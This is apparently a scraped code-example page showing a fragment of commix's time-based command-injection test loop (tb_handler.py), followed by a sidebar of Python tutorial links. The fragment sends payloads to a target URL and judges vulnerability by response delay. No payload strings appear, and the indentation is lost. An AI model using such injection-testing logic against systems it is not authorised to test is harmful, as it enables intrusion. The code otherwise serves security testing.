sys.stdout.write("\n" + colors.GREY + payload.replace("\n","\\n") + colors.RESET)
# Check if target host is vulnerable.
how_long,vuln_parameter = tb_injector.injection_test(payload,http_request_method,url)
if not menu.options.verbose:
percent = ((i*100)/total)
if how_long >= delay:
percent = colors.GREEN + "SUCCEED" + colors.RESET
elif percent == 100:
if no_result == True:
percent = colors.RED + "FAILED" + colors.RESET
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
#.........这里部分代码省略.........
开发者ID:TheNameIsNigel, 项目名称:commix, 代码行数:101, 代码来源:tb_handler.py
Python入门教程 Python 是一种解释型、面向对象、动态数据类型的高级程序设计语言。 P
阅读:13806| 2022-01-22
Python wikiutil.getFrontPage函数代码示例
阅读:10192| 2022-05-24
Python 简介 Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本
阅读:4089| 2022-01-22
Python tests.group函数代码示例
阅读:4043| 2022-05-27
Python util.check_if_user_has_permission函数代码示例
阅读:3844| 2022-05-27
Python 练习实例98 Python 100例题目:从键盘输入一个字符串,将小写字母全部转换成大
阅读:3510| 2022-01-22
Python 环境搭建 本章节我们将向大家介绍如何在本地搭建 Python 开发环境。 Py
阅读:3030| 2022-01-22
Python output.darkgreen函数代码示例
阅读:2653| 2022-05-25
Python 基础语法 Python 语言与 Perl,C 和 Java 等语言有许多相似之处。但是,也
阅读:2649| 2022-01-22
Python 中文编码前面章节中我们已经学会了如何用 Python 输出 Hello, World!,英文没
阅读:2302| 2022-01-22
请发表评论